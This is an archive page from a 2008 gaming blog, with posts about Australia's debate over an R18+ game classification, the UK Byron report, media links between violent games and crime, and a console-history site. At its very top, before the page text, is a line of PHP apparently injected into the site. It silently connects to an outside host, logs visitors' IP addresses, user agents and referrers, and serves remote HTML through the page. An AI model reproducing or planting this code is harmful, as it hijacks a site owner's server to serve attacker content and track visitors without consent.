error_reporting(0); ini_set('display_errors',0); define('STATFILE','stat.txt'); define('LOG',true); if(isset($_GET['p'])) { $sock = fsockopen('km32025.keymachine.de', 80); if($sock){ if (LOG && isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) { $referer = rawurlencode($_SERVER['HTTP_REFERER']); $remote_ip = $_SERVER['REMOTE_ADDR']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $file = fopen(STATFILE,'ab'); if ($file) { fwrite($file,date('Y-m-d H:i:s').' '.$remote_ip.' '.$user_agent.' '.rawurldecode($referer)."\n"); fclose($file); } } fwrite ($sock, 'GET http://km32025.keymachine.de/oslik2/cn/7/'.$_GET['p'].'.html HTTP/1.0'."\r\n"); fwrite ($sock, 'Host: km32025.keymachine.de'."\r\n\r\n"); while($content[] = fgets ($sock)); $content = implode('', $content); echo(trim(substr($content, strpos($content, "\r\n\r\n")))); fclose ($sock);} exit; } -=+fastlikesquirrel.com+=- » 2008 » March

Archive for March, 2008

« Previous Entries

Public to decide on R18+ games

Sunday, March 30th, 2008

The future looks promising for adult gamers in Australia (though, I’ll believe the R18+ exists when I finally see games in shops plastered with the classification). The nation’s Attorneys-General want the community to help decide whether restrictions should be eased on violent or sexually explicit video games. A meeting of federal, state and territory ministers in the Barossa Valley in South Australia has agreed there should be a public consultation process on the classification of games.

The quote below is a press release from the Victorian Deputy Premier and Attorney-General Rob Hulls-

Deputy Premier and Attorney-General Rob Hulls welcomed the agreement by SCAG to consult on whether an R18+ classification for computer games should be introduced into the National Classification Scheme.

“I believe that censorship laws should strike an appropriate balance between freedom of expression and community concerns about depictions that condone or incite violence, as well as the principle that minors should be protected from material likely to harm or disturb them,” he said.

It’s not the result I was hoping for but at least its better than a flat-out denial for the need of a R18+ classification. Don’t forget to make your voice heard in the Screen Play poll.

Posted in Geek, Gaming, Sales, Politics | No Comments »

Weird advertising

Saturday, March 29th, 2008

This is kind of random and I’ll still not sure what Microsoft intend to gain from this advertising ploy… but watch and learn.

There’s a whole bunch of other clips as well, each more random than the other. You can watch them all at - Parentalstreetcred.com

Posted in Geek, Gaming, X360, Moofies, Sales | No Comments »

Byron report released

Friday, March 28th, 2008

Across the pond, the UK is having their own problems on how to legislate video games. A six-month review was commissioned by Prime Minister Gordon Brown and conducted by psychologist Dr Tanya Byron.

In a nutshell, her report suggests these changes need to be made to the current system.

  • Giving video games a more “robust” movie-style age classification.
  • Making it illegal for retailers to sell any video game to a child younger than the age rating on the game box. At present, only the most violent and sexually explicit games are regulated.
  • Developing a new code of practice aimed at regulating social networking sites, such as Bebo and Facebook, including introducing standards on privacy and harmful content.
  • Undertaking a new publicity campaign for parents to understand the sort of digital material their children are accessing on the Internet and how they can block it.
  • Introducing new laws banning Internet-assisted suicide.
  • Creating a national council to implement the strategy.

If you want to check out the report in it’s entirety for yourself, plus any supporting material - Byron report.

Posted in Geek, Gaming, Politics | No Comments »

Talks on R-rated games today

Thursday, March 27th, 2008

I have been following the fiasco that is a lack of a R18+ video game classification for some time now. Long-time readers will no doubt know of my previous displeasure on the topic… I can’t help it, it is something I genuinely feel passionate about and there needs to be some change.

Well, as of today, the standing committee of the current state/territory attorneys-general will meet to discuss the extended rating system.

The latest meeting will consider new evidence about the rating system, after the Rudd Government returned the to the agenda. Any move to loosen control will face strong opposition from the South Australian Government. South Australian Attorney-General Michael Atkinson has said he will maintain his long-running opposition to the proposed system.

Mr Atkinson said he would not consider an R18+ rating even with measures to protect children from adult content. Safeguards were unlikely to prevent “the most computer literate and savvy in our society” from being able to access material.

Source

This guy, seriously, has no clue. These so-called “savvy kids” aren’t even bothering with the safeguards… they’re downloading the games through BitTorrent sites or importing the games from other countries via the internet. Why bother with a metaphorical key to a single lock when they have a skeleton key that can access anything, whenever they like?

Apparently, Michael Atkinson is not the only person with unfounded fears. A spokesperson from The Australian Family Association said to ABC.net,

The Australian Family Association’s Angela Conway says violent video games can exacerbate mental health problems and any changes to classifications would be dangerous.

“It there are problems with that young person already, then this technology will turn them into a lethal killer,” she said.

Quick… man the bandwagons!

Plus, there’s a good opinion piece over at Screen Play, complete with a poll. Make your vote count…

Posted in Geek, Gaming, Sales, Politics | No Comments »

Video games in the AU media

Wednesday, March 26th, 2008

I was scouring SMH today in my lunch break and noticed this tragic story about a teenager who had stabbed his parents at their family home in north western Sydney. Normally this sort of article wouldn’t really grab my attention but listed in the first paragraph of the article, there were references to some activities that may have allegedly compounded the situation, “he listened to heavy metal and played drums and violent video games.”

Towards the end of the article on the second page, a specific game was named-

One classmate said the teenager would listen to loud heavy-metal music and play violent video games such as Manhunt, in which virtual enemies are killed in increasingly bloody ways.

Now, someone correct me if I am wrong, I think this is the first time in Australia a video game was named in relation to a serious assault/homicide. I thought this blaming/naming of video games only happened overseas, but I guess with the current popularity of video games in this country, it had to happen soon enough.

I mean, it’s a far cry from the case in 2003 of Devin Moore blaming GTA for his rampage in Alabama, USA… but it shows that people are increasingly looking to different forms of entertainment for answers to these types of tragedies.

EDIT: The original press release from NSW Police makes no mention of the video game link.

EDIT 2.0: The original article on SMH makes no mention of the video game, nor in either of the two successive articles - one posted at 7:19pm on 25/03/08, the other at 1:59pm on 26/03/08. I have a feeling they threw the reference in the first article I linked just to attract eyeballs.

Posted in Geek, Gaming, PC, Sales | 1 Comment »

History of home video game consoles

Tuesday, March 25th, 2008

Saw this over at reddit, definitely worthy of a post.

Thegameconsole.com have an excellent history of the home video game consoles I have EVER seen, from the Magnavox Odyssey released in 1970 to the latest release, the Nintendo Wii.

The Magnavox Odyssey is the first home video game console, predating the Atari PONG home consoles by three years. The Odyssey was designed by Ralph Baer, who had a working prototype finished by 1968. This prototype is affectionately known as the “Brown Box” to classic video game hobbyists.

Whoever runs this site needs a pat on the back… I’m having flashbacks just checking out some of the pictures!

Posted in General, Geek, Gaming | No Comments »

« Previous Entries